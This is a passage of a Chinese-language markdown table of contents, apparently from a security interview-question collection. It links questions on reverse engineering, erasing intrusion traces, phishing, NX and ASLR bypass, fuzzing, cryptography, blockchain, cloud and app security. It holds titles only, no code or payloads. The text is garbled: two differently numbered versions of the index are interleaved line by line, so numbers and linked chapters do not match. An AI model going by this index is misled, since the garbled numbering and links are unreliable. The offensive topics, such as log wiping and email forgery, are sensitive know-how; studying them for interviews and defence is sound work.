- [23.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑](Chapter23/23-10.md) - [24.1 工控场景的入侵检测与普通场景入侵检测的区别](Chapter26/26-1.md)
- [23.11 如何动态地去找导入表](Chapter23/23-11.md) - [24.2 讲讲 Linux 平台的漏洞缓解机制](Chapter26/26-2.md)
- [23.12 如何不在编码时直接导入相关 API 的前提下进行攻击](Chapter23/23-12.md) - [24.3 NX 是怎么绕过的](Chapter26/26-3.md)
- [23.13 Windows 下有哪些常用的反调试技术](Chapter23/23-13.md) - [24.4 讲讲 Linux 平台的 ELF 文件结构](Chapter26/26-4.md)
- [23.14 单步执行的原理是什么](Chapter23/23-14.md) - [24.5 讲讲 Windows 平台的 PE 文件结构](Chapter26/26-5.md)
- [23.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段](Chapter23/23-15.md) - [24.6 讲讲 ASLR 怎么绕过](Chapter26/26-6.md)
- [23.16 恶意软件有哪些方案检测自己处于沙箱中](Chapter23/23-16.md) - [24.7 函数的调用约定有哪些,区别是什么](Chapter26/26-7.md)
- [23.17 做一个反汇编器,指令集 opcode 的意义去哪查](Chapter23/23-17.md) - [24.8 fuzzing 主要是用来干嘛](Chapter26/26-8.md)
- [23.18 怎么识别指令跳转条件和内存访问](Chapter23/23-18.md) - [24.9 对 Windows 平台的漏洞和保护机制了解多少](Chapter26/26-9.md)
- [23.19 做一个沙箱,有什么需要重定向的](Chapter23/23-19.md) - [24.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing](Chapter26/26-10.md)
- [23.20 ESP 定律原理知道吗](Chapter23/23-20.md) - [24.11 说说 QEMU 模式的动态插桩怎么实现的,有什么优缺点](Chapter26/26-11.md)
- [23.21 C++ 程序怎么去逆向找虚表](Chapter23/23-21.md) - [24.12 fuzz 普通程序和数据库有哪些不同点](Chapter26/26-12.md)
- [23.22 进程隐藏技术是什么,如何检测](Chapter23/23-22.md) - [24.13 说说 AFL++ 和 AFL 有哪些不同](Chapter26/26-13.md)
- [23.23 如果多进程下,A 进程的 Source 触发到了 B 进程的 sink 点,如何溯源](Chapter23/23-23.md) - [24.14 怎么给 AFL 做适配去 fuzz 数据库](Chapter26/26-14.md)
- [23.24 JNDI 如何做 Hook](Chapter23/23-24.md) - [24.15 介绍一下 fuzz 的流程,从选取目标开始](Chapter26/26-15.md)
- [24. 痕迹清除](Chapter24/README.md) - [24.16 讲一下 AFL 的插桩原理](Chapter26/26-16.md)
- [24.1 清理日志要清理哪些](Chapter24/24-1.md) - [24.17 怎么选择 fuzz 测试点](Chapter26/26-17.md)
- [24.2 如何删除 Linux 机器的入侵痕迹](Chapter24/24-2.md) - [24.18 哪些漏洞可以用 fuzz 检测到](Chapter26/26-18.md)
- [25. 钓鱼社工](Chapter25/README.md) - [24.19 符号执行是如何做约束求解的](Chapter26/26-19.md)
- [25.1 钓鱼方法除了 exe 这种双击的还有什么](Chapter25/25-1.md) - [25. 逆向破解](Chapter23/README.md)
- [25.2 钓鱼上线的主机如何进行利用](Chapter25/25-2.md) - [25.1 恶意样本给出函数家族的 md5如何进行分类](Chapter23/23-1.md)
- [25.3 伪造电子邮件的原理](Chapter25/25-3.md) - [25.2 Linux 程序分为哪几个段](Chapter23/23-2.md)
- [26. 二进制](Chapter26/README.md) - [25.3 .data 段存放哪些数据](Chapter23/23-3.md)
- [26.1 工控场景的入侵检测与普通场景入侵检测的区别](Chapter26/26-1.md) - [25.4 .bss 段存放哪些数据](Chapter23/23-4.md)
- [26.2 讲讲 Linux 平台的漏洞缓解机制](Chapter26/26-2.md) - [25.5 函数调用时的流程,参数如何传入以及寄存器、栈的变化](Chapter23/23-5.md)
- [26.3 NX 是怎么绕过的](Chapter26/26-3.md) - [25.6 解释程序的编译和链接,编译的过程中会有哪些操作](Chapter23/23-6.md)
- [26.4 讲讲 Linux 平台的 ELF 文件结构](Chapter26/26-4.md) - [25.7 说说 If/Else 语法树](Chapter23/23-7.md)
- [26.5 讲讲 Windows 平台的 PE 文件结构](Chapter26/26-5.md) - [25.8 如何比较两个 C 函数的相似度](Chapter23/23-8.md)
- [26.6 讲讲 ASLR 怎么绕过](Chapter26/26-6.md) - [25.9 什么情况下源代码与 IDA 反编译程序的代码差别很大](Chapter23/23-9.md)
- [26.7 函数的调用约定有哪些,区别是什么](Chapter26/26-7.md) - [25.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑](Chapter23/23-10.md)
- [26.8 fuzzing 主要是用来干嘛](Chapter26/26-8.md) - [25.11 如何动态地去找导入表](Chapter23/23-11.md)
- [26.9 对 Windows 平台的漏洞和保护机制了解多少](Chapter26/26-9.md) - [25.12 如何不在编码时直接导入相关 API 的前提下进行攻击](Chapter23/23-12.md)
- [26.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing](Chapter26/26-10.md) - [25.13 Windows 下有哪些常用的反调试技术](Chapter23/23-13.md)
- [26.11 说说 QEMU 模式的动态插桩怎么实现的,有什么优缺点](Chapter26/26-11.md) - [25.14 单步执行的原理是什么](Chapter23/23-14.md)
- [26.12 fuzz 普通程序和数据库有哪些不同点](Chapter26/26-12.md) - [25.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段](Chapter23/23-15.md)
- [26.13 说说 AFL++ 和 AFL 有哪些不同](Chapter26/26-13.md) - [25.16 恶意软件有哪些方案检测自己处于沙箱中](Chapter23/23-16.md)
- [26.14 怎么给 AFL 做适配去 fuzz 数据库](Chapter26/26-14.md) - [25.17 做一个反汇编器,指令集 opcode 的意义去哪查](Chapter23/23-17.md)
- [26.15 介绍一下 fuzz 的流程,从选取目标开始](Chapter26/26-15.md) - [25.18 怎么识别指令跳转条件和内存访问](Chapter23/23-18.md)
- [26.16 讲一下 AFL 的插桩原理](Chapter26/26-16.md) - [25.19 做一个沙箱,有什么需要重定向的](Chapter23/23-19.md)
- [26.17 怎么选择 fuzz 测试点](Chapter26/26-17.md) - [25.20 ESP 定律原理知道吗](Chapter23/23-20.md)
- [26.18 哪些漏洞可以用 fuzz 检测到](Chapter26/26-18.md) - [25.21 C++ 程序怎么去逆向找虚表](Chapter23/23-21.md)
- [26.19 符号执行是如何做约束求解的](Chapter26/26-19.md) - [25.22 进程隐藏技术是什么,如何检测](Chapter23/23-22.md)
- [27. AI 安全](Chapter27/README.md) - [25.23 如果多进程下,A 进程的 Source 触发到了 B 进程的 sink 点,如何溯源](Chapter23/23-23.md)
- [27.1 介绍下 SVM](Chapter27/27-1.md) - [25.24 JNDI 如何做 Hook](Chapter23/23-24.md)
- [27.2 介绍下 KNN](Chapter27/27-2.md) - [26. AI 安全](Chapter27/README.md)
- [27.3 卷积神经网络介绍](Chapter27/27-3.md) - [26.1 介绍下 SVM](Chapter27/27-1.md)
- [27.4 莱文斯坦距离](Chapter27/27-4.md) - [26.2 介绍下 KNN](Chapter27/27-2.md)
- [27.5 倒排索引](Chapter27/27-5.md) - [26.3 卷积神经网络介绍](Chapter27/27-3.md)
- [27.6 搜索引擎的算法有哪些](Chapter27/27-6.md) - [26.4 莱文斯坦距离](Chapter27/27-4.md)
- [27.7 了解 TF-IDF 文档匹配算法吗](Chapter27/27-7.md) - [26.5 倒排索引](Chapter27/27-5.md)
- [27.8 SGD 和 Adam 的区别](Chapter27/27-8.md) - [26.6 搜索引擎的算法有哪些](Chapter27/27-6.md)
- [27.9 如何缩减模型的检测时延](Chapter27/27-9.md) - [26.7 了解 TF-IDF 文档匹配算法吗](Chapter27/27-7.md)
- [27.10 如何降低模型的误报率](Chapter27/27-10.md) - [26.8 SGD 和 Adam 的区别](Chapter27/27-8.md)
- [27.11 如何找攻击样本](Chapter27/27-11.md) - [26.9 如何缩减模型的检测时延](Chapter27/27-9.md)
- [28. 密码学安全](Chapter28/README.md) - [26.10 如何降低模型的误报率](Chapter27/27-10.md)
- [28.1 RSA 算法原理](Chapter28/28-1.md) - [26.11 如何找攻击样本](Chapter27/27-11.md)
- [28.2 AES 算法原理](Chapter28/28-2.md) - [27. 密码学安全](Chapter28/README.md)
- [28.3 说一下非对称加密算法的加密过程](Chapter28/28-3.md) - [27.1 RSA 算法原理](Chapter28/28-1.md)
- [28.4 有哪些了解过的非对称加密算法](Chapter28/28-4.md) - [27.2 AES 算法原理](Chapter28/28-2.md)
- [28.5 栅栏密码的原理是什么](Chapter28/28-5.md) - [27.3 说一下非对称加密算法的加密过程](Chapter28/28-3.md)
- [28.6 Padding Oracle Attack 讲讲](Chapter28/28-6.md) - [27.4 有哪些了解过的非对称加密算法](Chapter28/28-4.md)
- [29. 区块链安全](Chapter29/README.md) - [27.5 栅栏密码的原理是什么](Chapter28/28-5.md)
- [29.1 说说交易所](Chapter29/29-1.md) - [27.6 Padding Oracle Attack 讲讲](Chapter28/28-6.md)
- [29.2 讲一讲区块链逆向函数涉及到的接收参数的指令集](Chapter29/29-2.md) - [27.7 Web 测试越权漏洞发现敏感参数都经过了带有 HMAC 验证,在无法暴力破解 Key 的情况下怎么绕过](Chapter28/28-7.md)
- [29.3 说说重入漏洞](Chapter29/29-3.md) - [27.8 JWT 有哪些漏洞](Chapter28/28-8.md)
- [29.4 在 DeFi 项目中建立了各种各样的经济模型,怎样才能找出可能存在的漏洞](Chapter29/29-4.md) - [28. 区块链安全](Chapter29/README.md)
- [29.5 libsnark 核心是什么](Chapter29/29-5.md) - [28.1 说说交易所](Chapter29/29-1.md)
- [29.6 truffle、solidity 了解吗](Chapter29/29-6.md) - [28.2 讲一讲区块链逆向函数涉及到的接收参数的指令集](Chapter29/29-2.md)
- [29.7 智能合约的鉴权、公私密钥](Chapter29/29-7.md) - [28.3 说说重入漏洞](Chapter29/29-3.md)
- [29.8 数字钱包的身份认证](Chapter29/29-8.md) - [28.4 在 DeFi 项目中建立了各种各样的经济模型,怎样才能找出可能存在的漏洞](Chapter29/29-4.md)
- [30. 云安全](Chapter30/README.md) - [28.5 libsnark 核心是什么](Chapter29/29-5.md)
- [30.1 控制了一台云主机但没有连接内网也没有云内网,该如何利用](Chapter30/30-1.md) - [28.6 truffle、solidity 了解吗](Chapter29/29-6.md)
- [31. APP 安全](Chapter31/README.md) - [28.7 智能合约的鉴权、公私密钥](Chapter29/29-7.md)
- [31.1 安卓系统如何进行 RCE,有什么思路](Chapter31/31-1.md) - [28.8 数字钱包的身份认证](Chapter29/29-8.md)
- [31.2 给一个移动端的 APP,已知服务端是 cloud 环境有什么思路利用](Chapter31/31-2.md) - [29. 云安全](Chapter30/README.md)
- - [29.1 控制了一台云主机但没有连接内网也没有云内网,该如何利用](Chapter30/30-1.md)
- [30. APP 安全](Chapter31/README.md)
- [30.1 安卓系统如何进行 RCE,有什么思路](Chapter31/31-1.md)
- [30.2 给一个移动端的 APP,已知服务端是 cloud 环境有什么思路利用](Chapter31/31-2.md)
- [31. CORS](Chapter18/README.md)
- [31.1 CORS 利用方式](Chapter18/18-1.md)
- [32. MongoDB 注入](Chapter17/README.md)
- [32.1 MongoDB 注入方式](Chapter17/17-1.md)